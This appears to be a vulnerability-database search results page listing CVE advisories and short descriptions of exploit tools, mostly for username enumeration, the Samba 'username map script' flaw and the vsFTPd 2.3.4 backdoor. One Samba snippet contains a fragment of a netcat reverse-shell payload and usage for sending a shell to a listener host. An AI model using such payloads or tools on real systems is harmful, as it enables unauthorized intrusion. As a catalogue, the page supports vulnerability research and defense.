Lucene search
+L

12673 matches found

CVE
CVE
added 2026/09/16 3:46 p.m.31 views

CVE-2026-19607

A flaw in the first-broker-login flow of the keycloak-services component in Red Hat build of Keycloak allows an attacker to register a matching username on an external identity provider, triggering a username collision that locks out the legitimate user. The root cause is insufficient validation ...

5.3CVSS0.00507EPSS
SaveExploits0References6
RedHat Linux
RedHat Linux
added 2026/09/16 3:45 p.m.7 views

keycloak-services: keycloak-services: Broker-originated username collision causes account lockout

A flaw was found in the first-broker-login flow of the keycloak-services component. This component handles the initial authentication and account linking when a user logs in via an external identity provider. The issue allows an attacker to register a matching username on an external provider to...

5.3CVSS0.00507EPSS
SaveExploits0References4
RedHat Linux
RedHat Linux
added 2026/09/16 3:45 p.m.6 views

keycloak-services: keycloak-services: Broker-originated username collision causes account lockout

A flaw was found in the first-broker-login flow of the keycloak-services component. This component handles the initial authentication and account linking when a user logs in via an external identity provider. The issue allows an attacker to register a matching username on an external provider to...

5.3CVSS0.00507EPSS
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/16 3:04 p.m.277 views

cypheroth

Cypheroth Automated, extensible toolset that runs cypher queries against Bloodhound's Neo4j backend and saves output to spreadsheets. Description This is a bash script that automates running cypher queries against Bloodhound data stored in a Neo4j database. I found myself re-running the same...

5.7AI score
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/16 2:54 p.m.21 views

CVE-2026-24061

Docker Telnet Auto-Login Lab A lightweight Docker lab for experimenting with Telnet protocol negotiation , explained in the CVE-2026-24061 exploit, which contains automatic username injection using the NEW-ENVIRON option. This project creates an isolated client–server environment to study how...

9.8CVSS8.5AI score0.97993EPSS
SaveExploits68
Kitploit
Kitploit
added 2026/09/16 12:45 p.m.7 views

cve-2016-20012

CVE-2016-20012 SSH Username Enumeration Script This Python script attempts to enumerate valid usernames on an SSH server by trying to connect with an invalid password. It measures the response time for each username to identify possible valid accounts based on server behavior. Table of Contents...

5.3CVSS7.1AI score0.05326EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/16 12:36 p.m.9 views

smb-usermap

Samba "username map script" Command Execution This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute...

6.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/16 11:35 a.m.4 views

exploit_cve-2007-2447_again

exploitcve-2007-2447again just remeber how small mistake in santisize username could give yoy root access to the full machine...

6CVSS8.2AI score0.49759EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/16 10:54 a.m.5 views

OffensivePascal-CVE-2011-2523

CVE-2011-2523 FreePascal implementation of CVE-2011-2523 Vulnerability vsFTPD 2.3.4 Using : in the username opens a backdoor as root on port 6200 on the target Requirements Synapse. If you don't have it, install through the OPM...

10CVSS8AI score0.96184EPSS
SaveExploits51
Kitploit
Kitploit
added 2026/09/16 10:42 a.m.5 views

CVE-2018-15473-exp

CVE-2018-15473-exp This is an exp for CVE-2018-15473 I feel that the username enumeration for openssh 7.7 is quite common, so I wrote an exp that can call poc and exploit it with a dictionary. The poc is written in python2.7, and openssh.py is written in python3; pay attention when calling them...

5.9CVSS7.1AI score0.98631EPSS
SaveExploits26
Kitploit
Kitploit
added 2026/09/16 10:38 a.m.7 views

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE CVE-2007-2447 exploit written in python to get reverse shell...

6CVSS8.2AI score0.49759EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/16 10:34 a.m.7 views

SSHUsernameBruter-SSHUB

SSHUsernameBruter SSHUB Fully functional script for brute forcing a list or supplied usernames againse vulnerable OpenSSH servers with the option to try username/username as login credentials - CVE-2018-15473...

5.9CVSS7.1AI score0.98631EPSS
SaveExploits26
Kitploit
Kitploit
added 2026/09/16 10:12 a.m.10 views

CVE-2024-57522

CVE-2024-57522 - Stored XSS Vulnerability in Users.php - SourceCodester Packers and Movers Management System 1.0 Description This repository contains a Proof of Concept PoC for a Stored Cross-Site Scripting XSS vulnerability in the Packers and Movers Management System 1.0 by SourceCodester. The...

6.4CVSS6.1AI score0.01022EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/16 5:41 a.m.14 views

username-anarchy

Username Anarchy バージョン: 0.6(2024年9月20日) 著者: urbanadventurer Andrew Horton ホームページ: https://www.morningstarsecurity.com/research/username-anarchy ソース: https://github.com/urbanadventurer/username-anarchy/ ライセンス: MIT 説明 ペネトレーションテスト時にユーザー名を生成するためのツール。 ユーザー名はパスワードブルートフォース問題の半分を占めます。...

5.8AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/16 2:55 a.m.10 views

Samba-Exploit-CVE-2007-2447

🎬 This YouTube video 1️⃣ Scanning the target Nmap root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 Expected result: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba version: 3.0.20 This is vulnerable to CVE-2007-2447. 2️⃣ Identifying the Samba...

6CVSS8.3AI score0.49759EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/16 2:38 a.m.4 views

CVE-2018-15473-User-Enumeration-

CVE-2018-15473 – SSH Username Enumeration A Python tool developed by me to identify valid SSH usernames by exploiting CVE-2018-15473. Target Information Service: SSH Version: OpenSSH 5.8p1 Debian 1ubuntu3 Operating System: Ubuntu Linux Protocol: SSH-2.0 Assessment: Tested for CVE-2018-15473 SSH...

5.9CVSS7.2AI score0.98631EPSS
SaveExploits26
Kitploit
Kitploit
added 2026/09/16 2:36 a.m.6 views

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

6CVSS8.4AI score0.49759EPSS
SaveExploits18References1
Kitploit
Kitploit
added 2026/09/16 2:24 a.m.26 views

vsFTPd-2.3.4-Exploit

vsFTPd 2.3.4 Exploit Python Proof of Concept for the vsFTPd 2.3.4 backdoor — CVE-2011-2523 Description vsFTPd Very Secure FTP Daemon is an FTP server commonly used on Unix-like systems. The vsFTPd 2.3.4 release distributed in 2011 was compromised with a malicious backdoor. This was not a normal...

10CVSS7.9AI score0.96184EPSS
SaveExploits51
Kitploit
Kitploit
added 2026/09/16 1:52 a.m.10 views

CVE-2016-6210

CVE-2016-6210 User name enumeration against SSH daemons affected by CVE-2016-6210. Use against your own hosts only! Attacking stuff you are not permitted to may put you in big trouble! INSTALATION Clone the Repository: root@kitploit: git clone https://github.com/coolbabayaga/CVE-2016-6210.git cd...

5.9CVSS7.2AI score0.88944EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/16 1:51 a.m.9 views

CVE-2025-56764

CVE-2025-56764 — Trivision NC-227WF Summary Trivision NC-227WF firmware 5.80 build 20141010 login mechanism reveals whether a username exists or not by returning different error messages "Unknown user" vs. "Wrong password", allowing an attacker to enumerate valid usernames. Referenced CVE record...

5.3CVSS5.8AI score0.00261EPSS
SaveExploits1
Rows per page
Query Builder